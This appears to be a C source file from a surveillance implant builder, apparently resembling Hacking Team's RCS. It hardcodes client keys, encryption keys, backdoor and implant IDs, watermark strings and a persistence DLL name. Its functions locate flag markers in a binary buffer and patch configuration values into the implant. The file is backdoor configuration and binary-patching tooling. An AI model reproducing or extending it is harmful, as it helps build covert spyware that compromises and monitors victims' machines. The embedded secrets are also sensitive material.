#include <Windows.h>
#include <string.h>

#include "bin_patch.h"
//#include "..\Runtime\Runtime.h"


FIRST_RUN pFirstRun = { FLAG_HIGH32 | FLAG_FIRST_RUN, 0x0 };

#ifdef _DEBUG
CLIENT_KEY pClientKey = { FLAG_HIGH32 | FLAG_CLIENT_KEY, "4yeN5zu0+il3Jtcb5a1sBcAdjYFcsD9z" };
ENCRYPTION_KEY pEncryptionKey = { FLAG_HIGH32 | FLAG_ENCRYPTION_KEY, "i6gMR84bxvQovzbhtV-if0SdPMu359ax" };
ENCRYPTION_KEY_CONF pEncryptionKeyConf = { FLAG_HIGH32 | FLAG_ENCRYPTION_KEY_CONF, "i6gMR84bxvQovzbhtV-if0SdPMu359ax" };
IMPLANT_ID pBackdoorId = { FLAG_HIGH32 | FLAG_IMPLANT_ID, "RCS_0000001167" };
DEMO_TAG pDemoTag = { FLAG_HIGH32 | FLAG_DEMO_TAG, "hxVtdxJ/Z8LvK3ULSnKRUmLE" };
WMARKER pWmarker = { FLAG_HIGH32 | FLAG_WMARKER, "LOuWApluW2C3yF8VBUEdAAiJs7oaV2e8" };
IMPLANT_NAME pBackdoorName = { FLAG_HIGH32 | FLAG_IMPLANT_NAME, "lotus_debug.dll" };
IMPLANT_PERSISTENCE_PARAMETERS pPersistenceParameters = { FLAG_HIGH32 | FLAG_IMPLANT_PERSISTENCE_PARAMETERS, "iam_an_implant.dll", "asdf" };

#else
CLIENT_KEY pClientKey = { FLAG_HIGH32 | FLAG_CLIENT_KEY, "ANgs9oGFnEL_vxTxe9eIyBx5lZxfd6QZ" };
ENCRYPTION_KEY pEncryptionKey = { FLAG_HIGH32 | FLAG_ENCRYPTION_KEY, "WfClq6HxbSaOuJGaH5kWXr7dQgjYNSNg" };
ENCRYPTION_KEY_CONF pEncryptionKeyConf = { FLAG_HIGH32 | FLAG_ENCRYPTION_KEY_CONF, "6uo_E0S4w_FD0j9NEhW2UpFw9rwy90LY" };
BACKDOOR_ID pBackdoorId = { FLAG_HIGH32 | FLAG_BACKDOOR_ID, "EMp7Ca7-fpOBIr" };
DEMO_TAG pDemoTag = { FLAG_HIGH32 | FLAG_DEMO_TAG, "Pg-WaVyPzMMMMmGbhP6qAigT" };
WMARKER pWmarker = { FLAG_HIGH32 | FLAG_WMARKER, "B3lZ3bupLuI4p7QEPDgNyWacDzNmk1pW" };
BACKDOOR_NAME pBackdoorName = { FLAG_HIGH32 | FLAG_BACKDOOR_NAME, "lotus_debug.dll" };
#endif

/* patch the DWORD32 after DWORD64 dwSearchFlag with dwDesiredValue */
BOOL PatchDword(LPVOID lpBuffer, DWORD32 dwBufferSize, DWORD64 dwSearchFlag, DWORD32 dwDesiredValue)
{
	if (lpBuffer == NULL)
		return FALSE;

	for (DWORD32 dwCounter = 0; dwCounter < dwBufferSize; dwCounter += 1)
	{
		if (!memcmp(((DWORD32*)lpBuffer + dwCounter), &dwSearchFlag, 8 ))
		{
			LPVOID lpPtr = (DWORD32*)lpBuffer + dwCounter + 2;
			memcpy_s(lpPtr, 4, &dwDesiredValue, 4);
			
			return TRUE;
		}
	}

	
	return FALSE;
}

LPVOID ResolveRuntimeExport(LPVOID lpBuffer, DWORD64 dwBufferSize, DWORD64 dwSearchFlag)
{
	if (lpBuffer == NULL)
		return NULL;

	for (DWORD64 dwCounter = 0; dwCounter < dwBufferSize; dwCounter += 1)
	{
		LPVOID lpAddress = (CHAR*)lpBuffer + dwCounter;
		if (!memcmp(lpAddress, &dwSearchFlag, 8))
		{
			/*	e.g. 
					48 B8 01 00 0D F0 E5 71 D1 0D                 mov     rax, 0DD171E5F00D0001h 
					we return found address -2
			*/
			LPVOID lpPtr = (CHAR*)lpBuffer + dwCounter -2;

			return lpPtr;
		}
	}


	return NULL;
}